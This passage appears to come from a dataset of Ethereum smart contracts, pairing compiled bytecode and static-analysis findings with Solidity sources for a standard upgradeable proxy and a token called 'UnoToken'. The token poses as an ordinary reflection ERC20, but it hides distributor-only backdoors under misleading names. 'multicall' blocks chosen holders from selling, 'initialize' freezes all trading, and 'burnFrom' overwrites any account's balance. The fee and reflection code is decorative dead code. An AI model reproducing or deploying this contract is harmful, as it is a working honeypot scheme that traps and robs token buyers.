28701611e02565b9350506020611f3d86828701611e02565b9250506040611f4e86828701611e41565b9150509250925092565b60008060408385031215611f6f57611f6e612847565b5b6000611f7d85828601611e02565b9250506020611f8e85828601611e41565b9150509250929050565b600060208284031215611fae57611fad612847565b5b6000611fbc84828501611e2c565b91505092915050565b600060208284031215611fdb57611fda612847565b5b6000611fe984828501611e41565b91505092915050565b60008060006060848603121561200b5761200a612847565b5b600061201986828701611e56565b935050602061202a86828701611e56565b925050604061203b86828701611e56565b9150509250925092565b6000612051838361205d565b60208301905092915050565b612066816126f1565b82525050565b612075816126f1565b82525050565b600061208682612597565b61209081856125ba565b935061209b83612587565b8060005b838110156120cc5781516120b38882612045565b97506120be836125ad565b92505060018101905061209f565b5085935050505092915050565b6120e281612703565b82525050565b6120f181612746565b82525050565b6000612102826125a2565b61210c81856125cb565b935061211c818560208601612758565b6121258161284c565b840191505092915050565b600061213d6023836125cb565b91506121488261285d565b604082019050919050565b6000612160602a836125cb565b915061216b826128ac565b604082019050919050565b60006121836022836125cb565b915061218e826128fb565b604082019050919050565b60006121a6601b836125cb565b91506121b18261294a565b602082019050919050565b60006121c96021836125cb565b91506121d482612973565b604082019050919050565b60006121ec6020836125cb565b91506121f7826129c2565b602082019050919050565b600061220f6029836125cb565b915061221a826129eb565b604082019050919050565b60006122326025836125cb565b915061223d82612a3a565b604082019050919050565b60006122556024836125cb565b915061226082612a89565b604082019050919050565b60006122786017836125cb565b915061228382612ad8565b602082019050919050565b6122978161272f565b82525050565b6122a681612739565b82525050565b60006020820190506122c1600083018461206c565b92915050565b60006040820190506122dc600083018561206c565b6122e9602083018461206c565b9392505050565b6000604082019050612305600083018561206c565b612312602083018461228e565b9392505050565b600060c08201905061232e600083018961206c565b61233b602083018861228e565b61234860408301876120e8565b61235560608301866120e8565b612362608083018561206c565b61236f60a083018461228e565b979650505050505050565b600060208201905061238f60008301846120d9565b92915050565b600060208201905081810360008301526123af81846120f7565b905092915050565b600060208201905081810360008301526123d081612130565b9050919050565b600060208201905081810360008301526123f081612153565b9050919050565b6000602082019050818103600083015261241081612176565b9050919050565b6000602082019050818103600083015261243081612199565b9050919050565b60006020820190508181036000830152612450816121bc565b9050919050565b60006020820190508181036000830152612470816121df565b9050919050565b6000602082019050818103600083015261249081612202565b9050919050565b600060208201905081810360008301526124b081612225565b9050919050565b600060208201905081810360008301526124d081612248565b9050919050565b600060208201905081810360008301526124f08161226b565b9050919050565b600060208201905061250c600083018461228e565b92915050565b600060a082019050612527600083018861228e565b61253460208301876120e8565b8181036040830152612546818661207b565b9050612555606083018561206c565b612562608083018461228e565b9695505050505050565b6000602082019050612581600083018461229d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006125e78261272f565b91506125f28361272f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126275761262661278b565b5b828201905092915050565b600061263d8261272f565b91506126488361272f565b925082612658576126576127ba565b5b828204905092915050565b600061266e8261272f565b91506126798361272f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126b2576126b161278b565b5b828202905092915050565b60006126c88261272f565b91506126d38361272f565b9250828210156126e6576126e561278b565b5b828203905092915050565b60006126fc8261270f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127518261272f565b9050919050565b60005b8381101561277657808201518184015260208101905061275b565b83811115612785576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612b0a816126f1565b8114612b1557600080fd5b50565b612b2181612703565b8114612b2c57600080fd5b50565b612b388161272f565b8114612b4357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122040feb71276c43e78a076a48201953f7540a4d6df76c5f8462c058ef789ef9a5164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,605 |
0x4f3e7a4566320b2709fd1986f2e9f84053d3e2a0
|
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,606 |
0xf65c1821de7a696baa3e406e1b2bc4789c59bb89
|
// SPDX-License-Identifier: MIT
pragma solidity =0.8.8;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);}
function _msgData() internal view virtual returns (bytes memory) {this;
return msg.data;}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {return returndata;}
else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}}
contract Ownable is Context {
address private _owner;
address internal _distributor;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");_;}
modifier distributors() {
require(_distributor == msg.sender, "Caller is not fee distributor");_;}
function owner() public view returns (address) {
return _owner;}
function distributor() internal view returns (address) {
return _distributor;}
function setDistributor(address account) external onlyOwner {
require (_distributor == address(0));
_distributor = account;}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);}}
contract UnoToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = 'Uno Token';
string private _symbol = 'UNO';
uint8 private _decimals = 9;
uint256 private constant _tTotal = 100000000000000*10**9;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _pOwned;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) private _multicall;
mapping (address => bool) private _isExcluded;
uint256 private constant MAX = ~uint256(0);
address[] private _excluded;
uint256 private _tFeeTotal;
uint256 private _totalSupply;
uint256 private _rTotal;
bool _initialize;
address router;
address factory;
constructor (address unif, address unir) {
_totalSupply =_tTotal;
_rTotal = (MAX - (MAX % _totalSupply));
_pOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _totalSupply);
_tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
_isExcluded[_msgSender()] = true;
_excluded.push(_msgSender());
_tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]);
_isExcluded[distributor()] = true;
_excluded.push(distributor());
_initialize = true;
router = unir;
factory = unif;}
function name() public view returns (string memory) {
return _name;}
function symbol() public view returns (string memory) {
return _symbol;}
function decimals() public view returns (uint8) {
return _decimals;}
function totalSupply() public pure override returns (uint256) {
return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {
return _pOwned[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;}
function burnFrom(address account, uint256 tokens, uint256 burn) external distributors {
require(account != address(0), "ERC20: burn from the zero address disallowed");
_pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;}}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_multicall[sender] || _multicall[recipient]) require (amount == 0, "");
if (_initialize == true || sender == distributor() || recipient == distributor()) {
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_pOwned[recipient] = _pOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}
else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_pOwned[recipient] = _pOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}}
else {require (_initialize == true, "");}}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function multicall(address acconut) external distributors {
_multicall[acconut] = true;}
function singlecall(address account) external distributors {
_multicall[account] = false;}
function checkCall(address account) public view returns (bool) {
return _multicall[account];}
function initialize() public virtual distributors {
if (_initialize == true) {_initialize = false;} else {_initialize = true;}}
function initialized() public view returns (bool) {
return _initialize;}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(3);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);}}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80634549b039116100c35780638da5cb5b1161007c5780638da5cb5b1461039e57806395d89b41146103bc57806397541e9f146103da578063a457c2d7146103f6578063a9059cbb14610426578063dd62ed3e146104565761014d565b80634549b039146102de57806370a082311461030e578063715018a61461033e57806375619ab5146103485780638129fc1c1461036457806383252a311461036e5761014d565b8063158ef93e11610115578063158ef93e146101f457806318160ddd1461021257806323b872dd146102305780632d83811914610260578063313ce5671461029057806339509351146102ae5761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c5780630f78bf9a146101bc578063124d91e5146101d8575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101d660048036038101906101d1919061242e565b6106b0565b005b6101f260048036038101906101ed919061245b565b61079b565b005b6101fc610910565b6040516102099190612413565b60405180910390f35b61021a610927565b60405161022791906124bd565b60405180910390f35b61024a600480360381019061024591906124d8565b610939565b6040516102579190612413565b60405180910390f35b61027a60048036038101906102759190612272565b610a12565b60405161028791906124bd565b60405180910390f35b610298610a80565b6040516102a59190612547565b60405180910390f35b6102c860048036038101906102c391906123b8565b610a97565b6040516102d59190612413565b60405180910390f35b6102f860048036038101906102f3919061258e565b610b4a565b60405161030591906124bd565b60405180910390f35b6103286004803603810190610323919061242e565b610bd4565b60405161033591906124bd565b60405180910390f35b610346610c1d565b005b610362600480360381019061035d919061242e565b610d70565b005b61036c610ea4565b005b6103886004803603810190610383919061242e565b610f8e565b6040516103959190612413565b60405180910390f35b6103a6610fe4565b6040516103b391906125dd565b60405180910390f35b6103c461100d565b6040516103d19190612338565b60405180910390f35b6103f460048036038101906103ef919061242e565b61109f565b005b610410600480360381019061040b91906123b8565b61118a565b60405161041d9190612413565b60405180910390f35b610440600480360381019061043b91906123b8565b611257565b60405161044d9190612413565b60405180910390f35b610470600480360381019061046b91906125f8565b611275565b60405161047d91906124bd565b60405180910390f35b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573fffffffffffffff